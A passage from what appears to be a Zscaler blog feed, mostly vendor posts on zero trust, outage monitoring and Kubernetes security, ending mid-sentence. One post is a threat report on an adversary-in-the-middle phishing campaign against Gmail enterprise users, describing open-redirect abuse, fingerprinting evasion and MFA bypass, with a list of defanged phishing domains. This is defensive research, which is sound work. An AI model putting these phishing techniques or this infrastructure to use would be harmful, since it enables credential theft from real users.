Research Blogs Feed Zscaler Blog — News and views from the leading voice in cloud security. en 5 Ways Zscaler Boosts Our Ability to Build Wealth for Over 700,000 Workers Here in Australia, we assist our civil service and military employees with preparing for their futures by putting the strength of our federal government to work managing their pension plans. Our agency, the Commonwealth Superannuation Corporation (CSC) helps over 700,000 government employees plan and execute their retirement fund investments. It’s been our charter for over 100 years. As we’re always striving to deliver innovative products and services, we needed to address legacy cybersecurity technologies that were holding us back. So, we began partnering with Zscaler as a vital part of our cloud-enabled digital transformation, which significantly boosted business user productivity, enterprise morale, information security, and IT efficiency. I’d like to share a few of the insights we’ve gained and the benefits we’ve realized during our zero trust journey and adoption of the Zscaler Zero Trust Exchange so you can put them to work for your organization. Boost 1: Business Productivity At CSC, we have several business-critical custom applications that were built in-house over a decade ago. They’re running on older technology, and they break a lot. Although we’re rapidly modernizing and transforming our enterprise, these legacy applications remain vital to fulfilling our mission for now. Prior to Zscaler, one of the applications actually required as much as 15 minutes to load. Business users would start work in the morning by opening the application and then walking away to make coffee or read the paper. Every time there was an issue with the application, it added another 15 minutes. Of course, this was terrible for productivity. Immediately after installing Zscaler Private Access (ZPA), the wait time for this application plunged to less than five minutes—an improvement of nearly 70%. We have easily gained an hour, or more, of productivity per user, per day. Best of all, the new access process was swift and seamless. Boost 2: Enterprise Morale Hand-in-hand with the performance improvements, our enterprise job satisfaction shot up. For business users, we removed multiple points of friction. For example, before adopting Zscaler Internet Access (ZIA), our investment managers had to wait weeks for a website to be unblocked before they could make trades. With Zscaler, we can quickly grant access to external websites, so our investment managers can focus on building wealth. At the help desk, our staff is encountering fewer frustrated users, and the number of help desk tickets noticeably diminished. Furthermore, time spent on help tickets has been reduced by at least 30%. When users do have an issue, our help desk staff can quickly pinpoint the issue, thanks to Zscaler Digital Experience (ZDX). All this has had a palpable effect on morale. Everyone is enjoying their work more now. They can get into the “zone” that leads to a greater sense of satisfaction and accomplishment at the end of the day. Boost 3: Secure Access Before Zscaler, when our investment managers were unable to quickly access the websites they needed to make time-sensitive trades, our security posture was also impacted. As a workaround, investment managers would connect to insecure networks at coffee shops using their personal devices. This approach completely bypassed our security systems. Now that we’re quickly granting access to our investment managers and all our users, people no longer need insecure workarounds. Every connection is inspected, regardless of user, endpoint application, or encryption, thanks to the security innovations engineered into the platform’s core. Boost 4: Simplicity and Savings Prior to Zscaler, we experienced the typical complexity and cost from maintaining multiple hardware-based security products, with less security than is available in the Zero Trust Exchange. Since deploying the Advanced Cloud Firewall we have reduced our firewall infrastructure, management, and licensing complexity by over 90%, freeing up our team and budget resources for more interesting and strategic projects. What’s more, our legacy infrastructure inadequately blocked advanced threats. By adopting Zscaler Advanced Cloud Sandbox, which is currently blocking over seven million threats per month worldwide, we’re stopping patient-zero infections with Zscaler’s artificial intelligence (AI)-based analytics and quarantines. Overall, it adds up to spending a lot less on budget while achieving significantly improved risk mitigation and security infrastructure. Our return on investment is close to A$200,000 every year. Boost 5: Exceptional IT Partnerships In addition to our exceptional partnership with Zscaler, we also developed a close, collaborative relationship with a local IT service provider. Through the Zscaler partnership network, we were introduced to A23. The staff at A23 has been amazing. They helped us establish effective and efficient access policies rapidly that made for a smooth deployment. Looking forward, we plan to expand our Zero Trust Exchange deployment to continue enabling our digital transformation. By providing us with a comprehensive security ecosystem, Zscaler has been a real breath of fresh air. To learn more, I invite you to read the accompanying case study and watch the short video about our partnership with Zscaler, which highlights how the Zero Trust Exchange has provided us with faster and more secure access to our applications for remote users. Wed, 17 Aug 2022 08:00:01 -0700 John Pratezina Adopting a Whole of State Zero Trust Approach As ransomware attacks continue to increase across the public sector, states are partnering with local government to provide shared services. Referred to as “whole of state”, this collaboration leverages the expertise and resources of multiple government agencies. According to a report from the National Association of State Chief Information Officers (NASCIO), “State governments are increasingly providing services to county and municipal governments, including endpoint protection, shared service agreements for cyber defensive tools, incident response, and statewide cybersecurity awareness and training.” Zscaler was fortunate to participate in a roundtable discussion with several state leaders through ATARC (Advanced Technology Academic Research Center) to discuss how state and local government agencies can successfully plan, develop and execute a zero trust strategy through a whole of state approach. We’ve gathered highlights from the roundtable into a white paper - Adopting a Whole of State Zero Trust Approach. Here is a summary of the discussion about the benefits of improved cybersecurity posture across state and local governments. Same Problems, Few Resources State and local governments often work with far smaller IT budgets than their federal counterparts. Yet states have tens if not hundreds of thousands of endpoints to secure from the massive increase in remote work (WFH) due to the pandemic. The panelists agreed, however, that this is not a reason to delay a move to zero trust. A first step can be to take an inventory of hardware and software to know where your organization stands in terms of cybersecurity. From there, solutions can be researched to fill in the gaps and create an overall strategy. One state cybersecurity chief shared that with their Whole of State approach, the state of North Dakota has offered many tools at low or no cost. In addition, they went to the state insurance agency and were able to secure a discount for any of the entities - counties, cities, schools and others - that adopt the state tools. This helps ease the rapidly increasing cost of cyber insurance. The state then is not only offering tools that are cheaper than the entities can purchase on their own, but if they adopt the tool set and methodologies that the state is using - such as zero trust - then they also receive a discount on insurance and lower long-term IT security costs. A Larger Attack Surface The rapid transition to WFH because of COVID lockdowns opened new avenues for cybercriminals to exploit. Virtual Private Network (VPN) was the most commonly used method among the panelists, even though it is not as secure as most people think. Check your VPN settings if VPN traffic is overwhelming your network. Sometimes outdated or incorrect settings can increase bandwidth needs. Ultimately, moving to a zero trust VPN-free solution can be the most effective way to meet WFH needs for State and Local users. One large county was able to rapidly deploy the Zscaler Zero Trust Exchange to 18,000 county-owned devices in just three weeks. Making zero trust a reality Panelists had several suggestions on how to best manage zero trust transitions at the state and local levels. Inventory any connected apps, services and devices that access internal network resources and divide them into three groups: those that can readily be migrated to zero trust architecture, those that first require upgrades, and those that cannot migrate. This gives you a holistic view and allows you to prioritize to form a comprehensive transition plan. Get stakeholder buy-in to find solutions to well-defined problems. Demonstrate zero trust benefits to various stakeholders by tackling “low-hanging fruit” first. Have regular meetings with partners throughout the state to understand what their issues and concerns are, and how working together is beneficial to each city, county, school, hospital, or library. Get user buy-in and commit to education and enablement to give a clear understanding of the user role in keeping the organization secure. One state leader shared that in a state-wide quarterly training program of over 200,000 users on how to spot a phishing email, there was a .9 correlation between user avoidance of fake phishing emails and those who completed training. Changing mindsets The transition to zero trust is a journey, not a sprint. It requires a mindset shift from the traditional castle and moat security models that were effective when the network could be contained inside a perimeter. As data and applications have migrated to the cloud, so must the network architecture that preserves security and the user experience. With attractive modern security solutions that provide a more comprehensive approach to securing agencies by connecting the right user to the right application based on the organization's policies, state and local agencies can stay a step ahead of attackers and keep our constituents’ data protected. Zero trust tackles today’s most difficult challenges that encompass security, networking and enabling the modern workspace. Whole of State is an effective approach for government to deploy these types of solutions quickly and efficiently, maximizing IT resources across agencies. Read the full white paper here. Zscaler is a trusted partner to over 100 public sector organizations and their partners. Visit our State and Local page for more information on how Zscaler provides a cloud-smart approach to securing a hybrid workforce and stopping ransomware attacks. Other resources for State and Local Government: State of Oklahoma Strengthens the State’s Cybersecurity Posture Largest Local Government Agency in the U.S. Enables Modern Workplace for 70,000 Users to Work-From-Anywhere with Zscaler The City of Boston Moves Securely to the Cloud to Modernize Its Service Tue, 16 Aug 2022 05:00:01 -0700 Ian Milligan-Pate Google Service Degradation Detected By Zscaler Digital Experience (ZDX) Zscaler Digital Experience detects degradation At 6:05 PM PST on August 8th, 2022, Zscaler’s Digital Experience (ZDX) monitoring solution saw a substantial unexpected drop in the ZDX score for Google services across the globe. Upon further analysis, we noticed 500 and 502 HTTP Response Code errors with response times up to 40206 ms highlighting a Google degradation. The ZDX heatmap clearly details the impact on a global scale. ZDX customers can identify service issues and quickly isolate them, to provide IT teams with confidence in the root cause. This way, any reactive tickets getting opened would already have the resolution, thereby not impacting mean time to resolve (MTTR) and first response time (MTTD). Zscaler’s Digital Experience dashboard showing global issues ZDX Score highlights degradation A ZDX Score represents all users in an organization, across all applications, all locations, and all cities. You can see the score on the ZDX Admin Portal dashboard. Depending on the time period and filters selected within the dashboards, the score will adjust accordingly. The ZDX Score is based on a scale of 1 (lowest) to 100 (highest) with the lowest numbers indicating a poor user experience. In further analysis, you can see the ZDX Score for the probes drop to ZERO during the approximate service degradation of one hour. From within ZDX, service desk teams can easily see that the service degradation is not a single location or a single user, and get to root cause analysis quickly. ZDX Score indicating the degradation and recovery times in Google Services In the ZDX dashboard, you will also see ‘Web Probe Metrics,’ which highlight the impact of reaching across a timeline with response times. In this case, the response times increased to 40206ms with 500 and 502 errors. 500 errors mean that the server encountered an unexpected condition that prevented it from fulfilling the request. 502 errors mean the server, while acting as a gateway or proxy, had an invalid response from another server. ZDX Web Probe metrics indicating 500 and 502 errors As we realize the impact is across multiple users, it’s always a good idea to check if there is an Internet Service Provider (ISP) issue. ZDX ISP Insights is an easy-to-leverage site to display ISP outages across a global map. As you can see, there isn’t a global ISP issue. ZDX Global ISP Insights According to online sources such as Bloomberg and International Business Times, more than 42K users received 500 and 502 errors while trying to leverage Google Search. These are the same errors that were indicated from the ZDX dashboard. Source: Bloomberg Users took to Twitter asking how to Google ‘Is Google down’ without Source: Zscaler Digital Experience successfully detected a degradation in, along with its root cause, giving our customers the confidence it was not a single location, their networks or devices, averting critical impact to their business. Try Zscaler Digital Experience today ZDX helps IT teams monitor digital experiences from the end user perspective to optimize performance and to rapidly fix offending application, network, and device issues. To see how ZDX can help your organization, please contact us. Fri, 12 Aug 2022 11:47:29 -0700 Rohit Goyal Learning Zero Trust: An Opportunity for Supply Chain Risk Practitioners Let me begin by posing the seemingly obvious questions: What is a supply chain? And what is supply chain risk? In the context of security, it’s important to define what supply chain is. It could mean different things to different industries. For example, the supply chain of a computer manufacturer is comprised of vendors who make different hardware components that come together in the end. The supply chain of a software company will consist of other software vendors that make features or functionality that may get embedded in the company’s end product. As a third example, the supply chain of a shipping and logistics company would consist of partners that help package, label, and distribute products to their destination. The common theme, despite these differences, is that third-party suppliers are, in many cases, getting access to company techniques, data, and the ‘secret sauce’—thereby having the opportunity to uniquely impact—and create risk to—the success of the company they supply. The Cybersecurity and Infrastructure Security Agency (CISA) warns that hackers and criminals can target government and industry through contractors, subcontractors, and suppliers at all tiers of the supply chain. Such risk is multi-fold, with cyber risk being no less important than operational risk or business risk, because a cyber event can trigger a whole cascade of consequences. However, the supply chain cybersecurity risk management space is still evolving. The National Institute of Standards and Technology (NIST) is creating and updating practical guidance and technical standards for organizations to improve supply chain security. This includes NIST SP1800-34, which provides robust guidance on verifying and proving the integrity of internal components and systems used in a supply chain. Yet such supply chain security can be complemented by zero trust architectures that provide organizations an additional layer of security when there is a compromised component. Below are common risks posed to a supply chain with example ways a zero trust approach can mitigate such risk. Account takeover Common attacks on supply chains occur via account takeover. In such attacks, cybercriminals target customers by infiltrating one of the company’s trusted vendors. Attackers will take over an account at the trusted vendor, then use it to send phishing emails to the target that contain malicious links. When a recipient of the phishing email clicks the links, malware or ransomware is deployed. Solution: Preventing account takover is key. A zero trust solution makes account takeover difficult because login attempts from users who violate policies set in the zero trust exchange are immediately blocked. A user taking over an account is likely to violate such policies by having various attributes (location, device ID, EDR posture check, and more) mismatch versus the true record. Fourth-party risk Your supply chain partners might do everything they can to prevent your data from being stolen, but you have to make sure your partners don’t make your data accessible to their third parties (which are your fourth parties). Solution: Eliminating widespread or VPN-based network access to supply chain applications that house critical data. This can be done by implementing a zero trust strategy that creates a 1:1 fully encrypted connection between the user and application, on demand. By narrowing the access as such and never placing a user on the network, it limits additional fourth parties from lateral movement and snooping as your suppliers go about their jobs for you. Supply chain IP theft According to a research report by Kroll, IP theft is a top priority for 75% of companies. IP theft can be perpetrated by an external attacker or an insider threat. Solution: IP Theft reduction can be easily achieved via data loss prevention technologies that are part of industry-leading SSE solutions. With many supply chain applications today being internet- or cloud-based, implementing a DLP solution is straightforward step to preventing the exfiltration of critical data. Supply chain software updates SolarWinds and Kaseya are good examples of software updates that were pushed to customers that contained malware. Because the products the customers made were so widely installed, there was a subsequently widespread malware infection. Solution: A zero trust approach uses an inside-out architecture that could prevent risky communications, such as what happened with the SolarWinds breach. SolarWinds’ servers allowed outbound communications within the network perimeter, blocking known bad destinations. This means unknown bad destinations were able to slip through and wreak havoc. A zero trust approach would have never allowed such communications to occur because it wouldn’t have allowed anything to be assumed to be trustworthy in the first place. In addition, zero trust can prevent attackers from further proceeding with such exploits by preventing them from moving laterally, which zero trust does not allow without re-authorization and re-authentication with context specific to each new resource and asset. In all of these scenarios, if a company provides any of its suppliers with trusted network access, then ransomware and other attacks can occur unfettered. While some of the above attacks were more sophisticated, even the infamous Target data breach of 2013 was perpetrated by an attacker that took gained network access by exploiting stolen credentials from an HVAC contractor - a shockingly simple approach. As outlined above, companies can substantially reduce or eliminate most, if not all, of these attacks by mandating their suppliers use zero trust access methods to access the company’s data and other resources. Here is a summary of the main benefits of a zero trust architecture: The high value assets are hidden from the internet and only made available to authorized users The authorized users have isolated access only, because they and their endpoints are never placed on the same network the device is on Connections from users to devices are spun up on demand and kept open only for the access session Fully encrypted connections are used Zero trust allows for business continuity by reducing device and supply chain risk despite known and possible situations that occur from time to time and bring elevated risks. Specifically, a zero trust architecture can allow a device to operate in an internet-connected state safely even with known device vulnerabilities. It is well known that one of the challenges to device and supply chain security is that it is not possible to patch devices at the rate that is required, but the devices must continue to run for business continuity. Zero trust architecture significantly reduces the risk the unpatched devices pose, because it allows them to remain connected to the internet while being in the state of having known vulnerabilities, and still be operated when a zero trust secure connection is used. Further description of the benefit of using zero trust over VPN to reduce inherent device vulnerabilities can be found here. A model of how this can work using an agent-based and agentless approach, according to the organization’s preference, is below: Perhaps one of the most compelling customer installations of zero trust for third parties is Schmitz Cargobull. By using ZPA instead of hardware-based VPNs, Schmitz Cargobull ensures its private applications, like SAP, are never exposed to the internet, making them completely invisible to unauthorized users. This not only improves the company’s security posture but also enables it to extend access to external users for greater business agility and a more secure supply chain. Michael Schöller, Head of Infrastructure at Schmitz Cargobull, explains that “reducing VPN appliances, which have recently made headlines for vulnerabilities, will allow us to increase the availability of our supply chain and access for our consultants” and that “Zscaler will keep our infrastructure hidden from attackers while making us more secure than we were before.” Fri, 12 Aug 2022 08:00:01 -0700 Nicole Bucala The Life Cycle of a Malicious Attack Threat actors launch attacks against organizations and the users they protect every day and at every chance they can – often during major holidays when users are less vigilant and the security operations center (SOC) teams are out of the office. High-profile breaches that result in major damages end up in the headlines. Yet, these stories typically don’t detail the breakdown of the security events and attack behaviors that would help security and IT teams strengthen their defenses. Using data to build better prevention Tapping into the world’s largest security cloud, our in-house ThreatLabz researchers receive a never-ending stream of data, categorized as signals, to analyze and share with the larger SecOps community. Using advanced techniques, including AI and ML analytics, ThreatLabz is able to identify and block more than 250 billion threat indicators daily for our customers. While a majority of threats blocked are known, for unknown threats, ThreatLabz – and Zscaler customers – use AI-driven quarantine from Zscaler Cloud Sandbox to intercept and prevent the delivery to users. Attack sequences that otherwise would play out on a device unfold in a separate and virtual environment that captures and identifies nefarious behaviors, sharing protection across all users, regardless of location. The good news? Cyberattacks share similar patterns. With a little help from the MITRE ATT&CK matrix and a black hat mindset, you can anticipate an adversary’s next move and fortify defenses at each stage. To better illustrate this, let’s take on the role of "Alex," a Senior Security Analyst at A2Z Health Services, who has received an alert of unusual activities from the patient records system. After some quick triaging, they’ve realized that A2Z is in the midst of an attack – but there’s still time to stop further damage. Let’s take a look at the life cycle of the attack and see where A2Z’s security tools should have kicked in to save the day and where there may be weaknesses in their defenses. A closer look at the life cycle of an attack 1. Reconnaissance Advanced adversaries will conduct a reconnaissance mission, scoping out the campaign, gathering valuable information, and creating a plan of attack. A well-conducted cybersecurity education program can help employees stay alert. As the popular saying goes, “time spent in reconnaissance is seldom wasted.” An adversary group called Frying Pan identified A2Z Health Services as their next victim and Jim, a records and finance specialist, was their next target. Using social engineering, Frying Pan was able to gather victim identity information such as personnel emails. 2. Initial access After identifying entry vectors, adversaries will attempt to gain initial access into the network. Common techniques like using a valid account can be thwarted with two-factor authentication or password rotations. Unfortunately for Jim, a spearphishing campaign was not caught by his email security tool. To mitigate this in the future, Alex’s team can use AI-driven quarantine from Zscaler Cloud Sandbox to analyze and block suspicious files, even when malware is delivered over HTTPS, an encrypted protocol, and from a trusted vendor or program including Google Drive and Microsoft OneDrive. By spoofing a trusted relationship with a vendor, Jim clicked on the link for an overdue invoice that prompted an Excel file containing a malicious macro to be downloaded. The endpoint detection and response (EDR) and antivirus scanner did not recognize any known signatures or behaviors. 3. Execution Now that the adversaries have gotten through the doors, multiple tactics can be operated simultaneously depending on the attacker’s objectives. For Frying Pan, they want to execute malware onto Jim’s local system by having the macro prompt a download of malicious dynamic link libraries (DLLs) to be installed. A solid EDR and security information event management (SIEM) should have been activated to identify a compromise in progress and alert the appropriate teams. For Zscaler Internet Access (ZIA) users with Advanced Cloud Sandbox, the inline content inspection identifies an unknown potential threat, analyzes the contents, and terminates malicious connections. 4. Credential access and privilege escalation To maintain continued access and evade detection, adversaries require account names and passwords. Alex and the security team have determined that Frying Pan obtained user credentials through password stores and brute force that ultimately led them to a more privileged user with domain controller access. After changing configurations that mediate and respond to security authentication requests, Frying Pan cleared the path through A2Z’s network and systems. Unfortunately for Alex and A2Z, their access management and VPN solutions were bypassed, and they did not have user to app and workload to workload segmentation or decoys to stop the spread of infection. 5. Lateral movement With nearly unfettered access, the adversaries are now able to pivot between multiple applications, systems, or accounts to complete their mission. Since Frying Pan used legitimate credentials to perform lateral movement instead of installing their own remote access tool, they went unnoticed. For most organizations relying on next-gen firewalls (NGFW) or network segmentation, this can be a common occurrence. A zero trust architecture is crucial at halting lateral movement. “Never trust, always verify” ensures that Zscaler Private Access (ZPA) connects only authenticated users and devices to authorized apps. Without putting users on the network, apps are never published to the internet and remain invisible to unauthorized users. 6. Collection and exfiltration Similar to the reconnaissance stage, adversaries are searching and gathering significant information, however unlike the earlier stage, the data collected is intended to be used for other nefarious purposes, such as extortion. Cloud access security broker (CASB) with data loss prevention (DLP) can step in to prevent oversharing and block data exfiltration. The collection stage was where Alex first noticed suspicious network activities from the patient records system, including accessing the system during non-work hours and geographic disparate locations that indicated impossible travel. After some more digging, it’s become clear that exfiltration techniques have not begun. While some adversaries stop here, intending to leave a backdoor open to collect and steal more data or intellectual property, Alex and the security team anticipate a ransomware attack and disconnect the patient data system from the network and disable access from affected users. For unlucky victims of ransomware attack, the next steps after data exfiltration are: 7. Installing the ransomware and demanding ransom payout The average cybercriminal or group are not creating their own ransomware strain. Instead, they are affiliates of ransomware-as-a-service creators like LockBit or Conti, paying the creators a certain percentage of the ransom payout. This allows the criminals to focus on finding and targeting victims and the creators to focus on the development of their “product”. Security teams have it rough out there. The larger your business’ digital footprint grows, the more pertinent it is to stop threat actors from gaining initial access and performing lateral movement with patient zero protection and inline threat protection from Zscaler Cloud Sandbox, a part of the Zero Trust Exchange. Learn more about how the Zero Trust Exchange platform offers comprehensive defense against the entire life cycle of attack. Wed, 10 Aug 2022 08:00:01 -0700 Amy Heng AiTM phishing attack targeting enterprise users of Gmail Summary This blog is a follow-up to our recent publication which described the details of a large-scale phishing campaign targeting enterprise users of Microsoft email services. Beginning in mid-July 2022, ThreatLabz started observing instances of adversary-in-the-middle (AiTM) phishing attacks targeted towards enterprise users of Gmail. Upon further analysis of the attack chain, we identified multiple similarities between this campaign and the previous AiTM phishing campaign targeting users of Microsoft email services. G Suite is the business version of Gmail, and is widely used in enterprises. This campaign specifically targeted chief executives and other senior members of various organizations which use G Suite. As we have already covered the technical details of AiTM techniques in our previous blog, we won't describe them again here. However, it is important to note that AiTM phishing kits can be used to target various websites and bypass multi-factor authentication. By using phishlets crafted to target a specific legitimate website, attackers can quickly re-use the AiTM phishing technique against a new target website. In this blog, we present the indicators of overlap between the two campaigns (Microsoft and Gmail), and discuss how we reached the conclusion that both these phishing campaigns were run by the same threat actor. These campaigns used similar tactics, techniques and procedures (TTPs). There was also an overlap of infrastructure, and we even identified several cases in which the threat actor switched from Microsoft AiTM phishing to Gmail phishing using the same infrastructure. Interestingly, the Gmail AiTM phishing campaign had a much lower volume of targets compared to the Microsoft AiTM phishing attack. Key Points Beginning in July 2022, the same threat actor that used AiTM phishing kits to target enterprise users of Microsoft email services began targeting enterprise users of G Suite. The attack is capable of bypassing multi-factor authentication (MFA) protection of Gmail. These phishing emails were sent to chief executives and other senior members of the targeted organizations in the US. In some cases, the emails were also sent to the executive assistants of the CEOs and CFOs. The compromised emails of chief executives were used to conduct further phishing attacks by the threat actor. Multiple compromised domains were used as an intermediate URL redirector to land the user on the final phishing page. A similar client-side fingerprinting script was used for evasion by the threat actor as observed in the previous campaign. The same redirector scripts used in the Microsoft phishing campaign were updated to target G Suite enterprise users. Attack chain Figure 1 below depicts the attack chain at a high level. The attack begins with the user receiving an email containing a malicious link. This link leverages multiple levels of redirection and abuses Open Redirect pages to land the user on the final attacker-controlled Gmail phishing domain. However, before the actual phishing page is presented to the user, the server does a fingerprinting check on the client in order to make sure that a real user is browsing to the site and not an automated analysis system. Each component of the attack chain is explained in more detail in the corresponding sections later. Figure 1: A high-level attack chain of the phishing process Distribution mechanism The attack vector used in this campaign was emails with the malicious link embedded in them. These emails were specifically sent to chief executives and senior members of the targeted organization. The phishing emails impersonated Google and pretended to be password-expiry reminder emails prompting the user to click a link in order to "Extend their access." Figure 2 shows an example of one such phishing email. Figure 2: G Suite phishing email URL redirection The redirection happens in multiple stages which we describe below. Stage 1 There were two categories of Stage 1 redirect links observed in the Gmail phishing campaign. Variant #1 [Open Redirect abuse] This variant abused Open Redirect pages of Google Ads and Snapchat, similar to what we described in our research on Microsoft AiTM phishing campaign. Figure 3 depicts two instances where the same Gmail phishing URL was delivered using a Snapchat redirect in one case, and the Google Ads redirect in another. Figure 3: Redirect using Open Redirect pages Variant #2 This variant used compromised sites which stored an encoded version of the Stage 2 redirector and the victim’s email address in the URL. Figure 4 depicts the format of this variant. Figure 4: Second variant of the Stage 1 URL used to redirect users to Stage 2 Stage 2 (Intermediate redirector) The intermediate redirector is a JavaScript hosted on compromised domains. Figure 5 shows an example of the redirect script. The variable "redirectURL" in the script specifies the final phishing landing page. Figure 5: Stage 2 intermediate URL redirector We observed that the threat actor updated this redirectURL variable regularly to ensure it points to the latest phishing page. This allows the threat actor to quickly update their campaign to keep up with URL detections added by security vendors. We regularly monitored these redirector scripts to identify new phishing pages proactively and added detection. We identified compromised domains hosting URL redirect scripts which were updated to point to the new G suite phishing URLs. Figure 6 shows a side-by-side comparison of this case. In this example, "loftds[.]com" is the attacker-controlled domain hosting the redirector script. As can be seen on the left-hand side, on July 11th 2022, the redirector script pointed to a URL used in Microsoft AiTM phishing attack. On the right-hand side, we can see that on July 16th 2022, the same script was updated to point to a URL used in the G suite AiTM phishing attack. Figure 6: Same redirector page used in Microsoft AiTM and G suite/Gmail AiTM phishing This was a strong indicator which helped us correlate the two campaigns to the same threat actor. Fingerprinting-based evasion The main phishing page used client-side JavaScript-based fingerprinting to detect the presence of automated URL analysis systems. The fingerprint information collected from the device will be sent to the server using websocket. We explained the technical details of this fingerprinting method in our previous blog here. Once all the stages of URL redirection and the client fingerprinting checks are passed, the user lands on the final Gmail phishing page as shown in Figure 7. Figure 7: Final Gmail phishing page Figure 8 below shows that the AiTM phishing kit is able to successfully relay and intercept the multi-factor authentication process used by Gmail / G suite. Figure 8: Multi-factor authentication (MFA) process of Gmail intercepted by AiTM phishing kit Zscaler’s detection status Zscaler’s multilayered cloud security platform detects indicators at various levels, as seen here: HTML.Phish.Gmail Conclusion In this blog we described how the threat actor is leveraging AiTM proxy-based phishing kits to target multiple email providers' users in enterprises. It is important to understand that such attacks are not limited to only Microsoft and Gmail enterprise users. An attacker can bypass multi-factor authentication protection on many different services using this method. Business email compromise (BEC) continues to be one of the top threats which organizations need to protect against. As described in this blog, the threat actor is constantly registering new domains and targeting more online services often used in enterprises. Even though security features such as multi-factor authentication (MFA) add an extra layer of security, they should not be considered as a silver bullet to protect against phishing attacks. With the use of advanced phishing kits (AiTM) and clever evasion techniques, threat actors can bypass both traditional as well as advanced security solutions. As an extra precaution, users should not open attachments or click on links in emails sent from untrusted or unknown sources. As a best practice, in general, users should verify the URL in the address bar of the browser before entering any credentials. The Zscaler ThreatLabz team will continue to monitor this active campaign, as well as others, to help keep our customers safe. Indicators of Compromise Phishing domains *.angalosos[.]xyz *.mdks[.]xyz *.7brits[.]xyz *.fekir5[.]xyz *.bantersplid[.]xyz *.absmg[.]xyz *.wultimacho[.]xyz *.gsuiteworkstation[.]com *.thyxyzjgdrwafzy[.]xyz *.7dmjmg20p8[.]xyz *.appfolders[.]xyz *.4765445b-32c6-4-83e6-1d93765276[.]co *.aucapitalsci[.]com * * Intermediate URL redirectors Note: These are compromised websites *.southernlivingsavannah[.]com *.sunnyislesdental[.]com *.horticulturatanaka[.] ripple-hirodai[.]com pathopowerreport[.]de pagliaispizzakv[.]com *.loftds[.]com *.sabtsaeen[.]ir *.jarrydrenton[.]com *.alphamediaam[.]ir *.hcapinfo[.]com *.gamea[.]ir Tue, 09 Aug 2022 08:00:01 -0700 Sudeep Singh Best Practices to Improve Kubernetes Security with CNAPP The Power of an Orchestrator A music orchestrator coordinates the state of music notes with various musicians playing different instruments, monitoring speed and delivering continuous precision and perfection. Kubernetes is similar in many ways–it is a well-known digital orchestrator which manages and runs containerized cloud-native applications for everything from early-stage startups to established enterprises. In fact, it shouldn’t be surprising to you that this blog may be served to you from a container orchestrated by Kubernetes. Kubernetes is based on decentralized software architecture with various components and services that perform on the concept of the desired state. With several components to be considered, securing Kubernetes is more extensive than securing traditional hosting infrastructure. In this post and the following series, we will discuss various Kubernetes components and how to secure them. Kubernetes components Kubernetes has loosely coupled components across two different planes: the control plane and the data plane. Control planes execute and manage the cluster-wide communication and operation like a cerebral system in a human body. The data plane provides and manages the capacity to operate and scale, like the muscular system. The controls plane components are: Kube-API server Kube-control manager, etcd (key-value store) Kube-scheduler Admission controllers, and Kube-cloud-control-manager The data plane components are: Kubelet Kube-proxy (or network-proxy) Container runtime (Docker, containers) Cluster DNS, Web-UI The stepping stone into K8 security - KSPM Securing Kubernetes is a tailored approach, based on the type of deployment (public/private) and depending on the Kubernetes offering (self-hosted or PaaS by cloud providers). We need to start analyzing the exposure of the data and the risk associated then apply the right controls. The first best practice is to audit your Kubernetes clusters using a Kubernetes Security Posture Management (KSPM) solution. Offered either as standalone products or as part of a broader platform like CNAPP, KSPM scans the Kubernetes components for misconfigurations. Based on identified gaps, security teams can define and design security configurations and guardrails to secure the Kubernetes components. Different hardening guidelines can be adopted by the security team depending on the customer industry. Hardening guidelines for Kubernetes for different versions and PaaS are offered by the CIS benchmark, and for federal and government space by NSA CISA. The MITRE ATT&CK framework also defines a few well-defined techniques used by attackers, which we will discuss in this series. Apart from identifying and remediating misconfigurations, you’ll also want to secure your Kubernetes clusters using a zero trust security model. You also need to secure the container image registry, persistent volume storage, and networking. We will expand on these topics in our upcoming blog posts. Can’t wait for the rest of the series and need to secure your Kubernetes environment now? Talk to our experts. Tue, 09 Aug 2022 08:00:01 -0700 Bala Kannan How to Solve the Challenge of Connectivity in China Last November, we launched Zscaler China Premium Access. Since then, we’ve had countless interactions with customers asking us to help them with connectivity for their users in mainland China. But before I jump to the details of our solutions, let me cover the background of using Zscaler in China and the genesis of this unique product. China is the second largest economy in the world. With annual exports totalling $2.2T, it’s one of the largest manufacturing hubs in the world. Pair this with the fact that it’s also the fastest growing consumer market in the world, and it’s easy to see why there’s no shortage of companies with a level of economic interest in China. There is, however, a catch. China’s domestic network suffers from very poor quality of service. Traffic is often subjected to throttling, DNS injections, packet loss, and high latency. Additionally, extra traffic inspection by the “great firewall” of China makes it extremely difficult to access websites and SaaS applications outside of China. All of this makes it a challenge for businesses to align users in China with their cloud transformation strategy. Prior to launching China Premium Access, Zscaler customers had two ways to address this challenge. The first was to route international traffic over an independent private network connection or MPLS in China to egress to international destinations. The second was to route traffic through select Chinese providers offering special premium networks for better performance when accessing international sites. Both approaches required local IT support, and both were costly and complex to manage. But, more importantly, these approaches went against these customers’ cloud transformation initiatives and their goals of reducing reliance on on-premises solutions. So, what exactly is Zscaler China Premium Access? Put simply, Zscaler China Premium Access is an extension of the Zscaler Zero Trust Exchange operating over a premium network in China. It enables users to enjoy a positive user experience without the complexity of running a private network. Because each customer's needs are different, we’ve created multiple options to address each one. Let's start with the first and the most popular option, China Premium Access. Zscaler's unique hyperscale architecture allows us to simplify this solution and extend our cloud to a partner network, giving our customers the opportunity to leverage premium connectivity coupled with the airtight security only Zscaler can provide. By collaborating with partners like CBC and Zenlayer, we’ve built China Premium Access to be offered as a network as a service (NaaS) solution. Instead of deploying in an expansive and complex data center, Zscaler customers can simply forward their traffic to our premium data center using their Client Connector, Cloud Connector, or tunnel using IPSEC/GRE from their branch. This approach supports all types of traffic, from web to that of real-time applications (Zoom, Teams, GoTo Meetings, Unified Communications). Zscaler enforces policy using our service engine, the Zscaler SSMA (Single Scan Multi Action). Since this is an integrated part of our cloud, the customer will see this traffic using its single-pane-of-glass administration UI. Other solutions can only support either domestic traffic or international traffic, but with our architecture, all traffic traverses a premium network once inspected (premium = quality user experience, low latency, high throughput, and very low packet loss). Our partner's premium network has both domestic connectivity with all three C’s (China Unicom, China Telecom, and China Mobile) and premium access to the global internet. And, customers can rest assured about concerns about local compliance. Why? Because our partners are fully licensed to operate in China, meaning there’s no obfuscation or bypassing of any local regulations. In addition to the normal SLA we provide for our service, this unique access option has a supplemental four-point SLA that covers availability, mean time to remediate (MTTR), latency, and packet loss. What has China Premium Access done so far? And, what about our “Plus” option? In the last year, users in China experienced events such as the Chinese new year, the winter olympics in Beijing, and tightening COVID restrictions. All these events would have impacted the effectiveness of traditional solutions, but not Zscaler China Premium Access. We delivered our high-quality service without a hiccup. Zscaler China Premium Access has provided customers with an amazing upgrade over the domestic internet service they would otherwise leverage. They’ve seen application access 